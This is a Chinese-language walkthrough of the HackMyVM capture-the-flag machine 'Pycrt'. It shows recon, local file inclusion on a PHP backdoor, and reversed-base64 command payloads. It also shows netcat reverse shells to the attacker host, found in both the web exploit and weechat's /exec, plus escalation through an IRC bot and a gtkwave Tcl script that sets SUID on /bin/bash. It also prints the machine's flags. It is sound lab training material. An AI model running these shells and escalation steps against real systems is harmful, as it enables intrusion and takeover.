Pycrt.

https://hackmyvm.eu/machines/machine.php?vm=Pycrt

Notes：Have Fun!

前期踩点

➜  Pycrt nmap -sP 192.168.56.0/24               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 08:29 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00054s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00083s latency).
MAC Address: 08:00:27:1C:4D:D5 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.58
Host is up (0.00049s latency).
MAC Address: 08:00:27:A5:6A:FC (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.05 seconds

➜  Pycrt nmap -sT -min-rate 10000 -p- 192.168.56.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 08:30 EDT
Nmap scan report for 192.168.56.58
Host is up (0.00043s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6667/tcp open  irc
MAC Address: 08:00:27:A5:6A:FC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.59 seconds

➜  Pycrt nmap -sT -A -T4 -O -p 22,80,6667 192.168.56.58 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 08:31 EDT
Nmap scan report for 192.168.56.58
Host is up (0.00075s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
6667/tcp open  irc
| irc-info: 
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   server: irc.local
|   version: InspIRCd-3. irc.local 
|   source ident: nmap
|   source host: 192.168.56.4
|_  error: Closing link: (nmap@192.168.56.4) [Client exited]
MAC Address: 08:00:27:A5:6A:FC (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: irc.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.75 ms 192.168.56.58

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.40 seconds

Web 渗透 - 1

常规先对 80 端口进行渗透

目录扫描什么都扫描不出来

➜  Pycrt dirsearch -u 192.168.56.58 -x 403,404,429 -e php,zip,txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, zip, txt | HTTP method: GET | Threads: 25 | Wordlist size: 10439

Output File: /root/Desktop/test/Pycrt/reports/_192.168.56.58/_25-05-11_08-48-56.txt

Target: http://192.168.56.58/

[08:48:56] Starting: 

Task Completed

➜  Pycrt gobuster dir -u 192.168.56.58 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip -b 404,301,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.58
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,301,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

先放着

InspIRCd

InspIRCd是一个功能丰富的C++编写的互联网中继聊天（IRC）服务器，适用于UNIX-like和Windows系统

使用 irssi 进行连接

➜  Pycrt irssi -c 192.168.56.58 -p 6667 -n sunset

可以注意到在 HELLO 信息中给出了 ShadowSec 目录

09:07 -!-  **************************************************
09:07 -!-  *             H    E    L    L    O              *
09:07 -!-  *  This is a private irc server. Please contact  *
09:07 -!-  *  the admin of the server for any questions or  *
09:07 -!-  *  issues ShadowSec directory.                   *
09:07 -!-  **************************************************

在 Web 上接着该目录，能进到一个页面

Web 渗透 - 2

进入 ShadowSec 目录，群主大大是法典：战神级别的（翻译过来怪中二的hahaha）

目录爆破，最后在 big 字典最后边扫到…

➜  Pycrt gobuster dir -u http://192.168.56.58/ShadowSec/ -w ../../Dict/SecLists-2024.3/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,zip -b 404,301,403 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.58/ShadowSec/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../Dict/SecLists-2024.3/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404,301,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 5095328 / 5095332 (100.00%)
/bydataset.php        (Status: 200) [Size: 21]
===============================================================
Finished
===============================================================

访问显示 nothing

模糊测试

进行模糊测试，感觉会有 LFI

➜  fuzz wfuzz -c -w ../../Dict/fuzz/paramDict/AllParam.txt -u http://192.168.56.58/ShadowSec/bydataset.php\?FUZZ\=/etc/passwd --hl=1 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.58/ShadowSec/bydataset.php?FUZZ=/etc/passwd
Total requests: 74332

=====================================================================
ID           Response   Lines    Word       Chars       Payload 
=====================================================================

000006050:   200        27 L     39 W       1452 Ch     "file"

➜  fuzz curl http://192.168.56.58/ShadowSec/bydataset.php\?file\=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pycrtlake:x:1000:1000:pycrtlake,,,:/home/pycrtlake:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
chatlake:x:1001:1001::/home/chatlake:/bin/sh

能知道存在 chatlake 用户，但是无法读取 .ssh ，可能权限不够或者没有该文件夹

构造连接读取 bydataset.php

➜  fuzz curl http://192.168.56.58/ShadowSec/bydataset.php\?file\=/var/www/html/ShadowSec/bydataset.php
<?php                            
                                                         
function decrypt($input) {       
    $reversed = strrev($input);   
    echo "Reversed: " . $reversed . "\n";
                                                         
    $decoded = base64_decode($reversed);
    echo "Decoded: " . $decoded . "\n";
                                                         
    if ($decoded === false) {   
        echo "Base64 decoding failed.\n";
        return false;
    }
                                                         
    if (strpos($decoded, 'cmd:') === 0) {
        return substr($decoded, 4);
    }

    return false;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['file'])) {
    $file = $_GET['file'];
    if (stripos($file, 'phpinfo') !== false) {
        exit('Access Denied');
    }
    $filterUrl = 'php://filter/convert.base64-encode/resource=' . $file;
    $data = @file_get_contents($filterUrl);
    if ($data === false) {
        exit('Failed to read file');
    }
    echo base64_decode($data);
    exit;
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['auth']) && isset($_POST['payload'])) {
    $auth = $_POST['auth'];
    $payload = $_POST['payload'];

    if ($auth !== 'LetMeIn123!') {
        exit('Invalid Auth Token.');
        }                               
                                                         
    $command = decrypt($payload);
    if ($command !== false) {
        $output = exec($command);                                                                                 
        echo "<pre>$output</pre>";
    } else {                     
        echo "Payload decode failed.\n";
    }                             
    exit;                           
} else {
    echo "Nothing to see here.";
}                                
?>

发现不止存在LFI，还存在命令执行

// 存在命令执行
elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['auth']) && isset($_POST['payload'])) {
    $auth = $_POST['auth'];
    $payload = $_POST['payload'];

    if ($auth !== 'LetMeIn123!') {
        exit('Invalid Auth Token.');
        }                               
                                                         
    $command = decrypt($payload);
    if ($command !== false) {
        $output = exec($command);                                                                                 
        echo "<pre>$output</pre>";
    } else {                     
        echo "Payload decode failed.\n";
    }                             
    exit;      
 // decrypt 函数
function decrypt($input) {       
    $reversed = strrev($input);   
    echo "Reversed: " . $reversed . "\n";
                                                         
    $decoded = base64_decode($reversed);
    echo "Decoded: " . $decoded . "\n";
                                                         
    if ($decoded === false) {   
        echo "Base64 decoding failed.\n";
        return false;
    }
                                                         
    if (strpos($decoded, 'cmd:') === 0) {
        return substr($decoded, 4);
    }

    return false;
}

构造命令执行

whoami -> cmd:whoami -base64-> Y21kOndob2FtaQ== -reverse-> QatF2bodnOk12Y

➜  fuzz curl http://192.168.56.58/ShadowSec/bydataset.php -X POST -d 'auth=LetMeIn123!&payload===QatF2bodnOk12Y'
Reversed: Y21kOndob2FtaQ==
Decoded: cmd:whoami
<pre>www-data</pre>#

反弹 shell （尝试了好久）

➜  Pycrt curl http://192.168.56.58/ShadowSec/bydataset.php -X POST -d 'auth=LetMeIn123!' -d "payload=$(echo -n 'cmd:busybox nc 192.168.56.4 1234 -e /bin/bash' | base64 | rev)"

提权 - To Chatlake

查看权限

www-data@PyCrt:/var/www/html$ sudo -l
Matching Defaults entries for www-data on PyCrt:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on PyCrt:
    (chatlake) NOPASSWD: /usr/bin/weechat

直接运行看看（需要对shell进行升级为交互式：https://sunsetaction.top/2025/04/21/%E5%8F%8D%E5%BC%B9%20shell%20%E5%8D%87%E7%BA%A7/）

发现有 exec 选项

/exec whoami
/exec id

进行反弹 shell

/exec busybox nc 192.168.56.4 1234 -e /bin/bash

提权 - To Pycrtlake

家目录下存在 user.txt

chatlake@PyCrt:~$ cat user.txt 
flag{b42baba466402e32157a1cbba819664e}

查看 sudo 权限

chatlake@PyCrt:~$ sudo -l
Matching Defaults entries for chatlake on PyCrt:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User chatlake may run the following commands on PyCrt:
    (ALL) NOPASSWD: /usr/bin/systemctl start irc_bot.service

chatlake@PyCrt:~/.weechat$ find / -name irc 2>/dev/null
/usr/local/lib/python3.9/dist-packages/irc

运行命令

chatlake@PyCrt:~$ sudo /usr/bin/systemctl start irc_bot.service

然后回到Irssi 就能看到多了 6 个频道

查看频道列表

/list

11:01 -!- Channel Users Name
11:01 -!- #chan2 1 [+nt] 
11:01 -!- #chan3 1 [+nt] 
11:01 -!- #chan4 1 [+nt] 
11:01 -!- #chan5 1 [+nt] 
11:01 -!- #chan6 1 [+nt] 
11:01 -!- #chan1 1 [+nt] 
11:01 -!- End of channel list.

进入频道

/join chan6

11:02 -!- sunset [root@192.168.56.4] has joined #chan1
11:02 [Users #chan1]
11:02 [@admin] [ sunset] 
11:02 -!- Irssi: #chan1: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
11:02 -!- Channel #chan1 created Sun May 11 10:57:21 2025
11:02 -!- Irssi: Join to #chan1 was synced in 7 secs

随便发送点东西，过了一会 admin 发了条信息

My friends and I are chatting on it, but we all follow the formatting requirements. Finally, we need to:) End

遵守格式要求？应该是要在最后面加上 :) 来结束，不过也还是没有什么用

我TM直接私聊

/query admin

不会做了，看了下 WP，是要使用之前在首页中的ID ll104567 ，也就是群主的 ID

加入频道发送信息

然后回到私聊中，会告诉你存在非法字符

然后回到频道输入 12345:) ，再回到私聊中

11:27 <admin> [!] conversion error ：[-] Number range exceeds（0-255）

// 2:)
11:29 <admin> [!] Wrong command: '' unauthorized!
// 60:)
11:31 <admin> [!] Wrong command: '<' unauthorized!

可以发现对应着 ASCII 表，接着进行测试

// 105 100:)
11:33 <admin> [!] Wrong command: 'id' unauthorized!

构造出 id ，但是没有回显，外带测试一下

有回显，进行反弹 shell

成功进行反弹，但是几秒钟之后就断掉了，所以要拼手速，反弹两次

怪极限的…

提权 - To Root

查看 sudo 权限

pycrtlake@PyCrt:/usr/local/bin$ sudo -l
Matching Defaults entries for pycrtlake on PyCrt:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pycrtlake may run the following commands on PyCrt:
    (ALL) NOPASSWD: /usr/bin/gtkwave

运行一下

pycrtlake@PyCrt: sudo /usr/bin/gtkwave
Usage: /usr/bin/gtkwave [OPTION]... [DUMPFILE] [SAVEFILE] [RCFILE]

  -n, --nocli=DIRPATH        use file requester for dumpfile name
  -f, --dump=FILE            specify dumpfile name
  -F, --fastload             generate/use VCD recoder fastload files
  -o, --optimize             optimize VCD to FST
  -a, --save=FILE            specify savefile name[0/22]
  -A, --autosavename         assume savefile is suffix modified dumpfile name
  -r, --rcfile=FILE          specify override .rcfile name
  -d, --defaultskip          if missing .rcfile, do not use useful defaults
  -D, --dualid=WHICH         specify multisession identifier
  -l, --logfile=FILE         specify simulation logfile name for time values
  -s, --start=TIME           specify start time for LXT2/VZT block skip
  -e, --end=TIME             specify end time for LXT2/VZT block skip
  -t, --stems=FILE           specify stems file for source code annotation
  -c, --cpu=NUMCPUS          specify number of CPUs for parallelizable ops
  -N, --nowm                 disable window manager for most windows
  -M, --nomenus              do not render menubar (for making applets)
  -S, --script=FILE          specify Tcl command script file for execution
  -T, --tcl_init=FILE        specify Tcl command script file to be loaded on startup
  -W, --wish                 enable Tcl command line on stdio
  -R, --repscript=FILE       specify timer-driven Tcl command script file
  -P, --repperiod=VALUE      specify repscript period in msec (default: 500)
  -X, --xid=XID              specify XID of window for GtkPlug to connect to
  -1, --rpcid=RPCID          specify RPCID of GConf session
  -2, --chdir=DIR            specify new current working directory
  -3, --restore              restore previous session
  -4, --rcvar                specify single rc variable values individually
  -5, --sstexclude           specify sst exclusion filter filename
  -I, --interactive          interactive VCD mode (filename is shared mem ID)
  -C, --comphier             use compressed hierarchy names (slower)
  -g, --giga                 use gigabyte mempacking when recoding (slower)
  -L, --legacy               use legacy VCD mode rather than the VCD recoder
  -v, --vcd                  use stdin as a VCD dumpfile
  -O, --output=FILE          specify filename for stdout/stderr redirect
  -z, --slider-zoom          enable horizontal slider stretch zoom
  -V, --version              display version banner then exit
  -h, --help                 display this help then exit
  -x, --exit                 exit after loading trace (for loader benchmarks)

VCD files and save files may be compressed with zip or gzip.
GHW files may be compressed with gzip or bzip2.
Other formats must remain uncompressed due to their non-linear access.
Note that DUMPFILE is optional if the --dump or --nocli options are specified.
SAVEFILE and RCFILE are always optional.

Report bugs to <bybell@rocketmail.com>.

其中的 -S 可以执行脚本

  -S, --script=FILE          specify Tcl command script file for execution

经过查阅发现是 TCL 语言，其中有方法可以执行命令：https://blog.csdn.net/yudingding6197/article/details/44453933

编写脚本

pycrtlake@PyCrt:~$ echo "exec chmod u+s /bin/bash" > shell

提示：

pycrtlake@PyCrt:~$ sudo /usr/bin/gtkwave -S shell                            
Could not initialize GTK!  Is DISPLAY env var/xhost set?

大概就是没有图形化而无法运行：https://dev59.com/askubuntu/P0XXs4cB2Jgan1zn2dTY#google_vignette

解决方法：可以使用 Xvfb 来假装一个

刚好靶机上有

pycrtlake@PyCrt:~$ which Xvfb
/usr/bin/Xvfb

梭哈

pycrtlake@PyCrt:~$ Xvfb :99 -screen 0 1024x768x24 &
[1] 1678
pycrtlake@PyCrt:~$ export DISPLAY=:99
pycrtlake@PyCrt:~$ sudo /usr/bin/gtkwave -S shell 

GTKWave Analyzer v3.3.118 (w)1999-2023 BSI

(gtkwave:1686): dconf-WARNING **: 12:04:41.029: failed to commit changes to dconf: Failed to execute child process ?dbus-launch? (No such file or directory)
GTKWAVE | Use the -h, --help command line flags to display help.
GTKWAVE | Executing Tcl script 'shell'

pycrtlake@PyCrt:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
pycrtlake@PyCrt:~$ /bin/bash -p
bash-5.0# id
uid=1000(pycrtlake) gid=1000(pycrtlake) euid=0(root) groups=1000(pycrtlake),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
ash-5.0# cat root.txt 
flag{e80ecc46ca5e00bf8a51c47f0cc3e868}

总结

难，提示不多，不太好找路，还是太菜了…

HackMyVM - Pycrt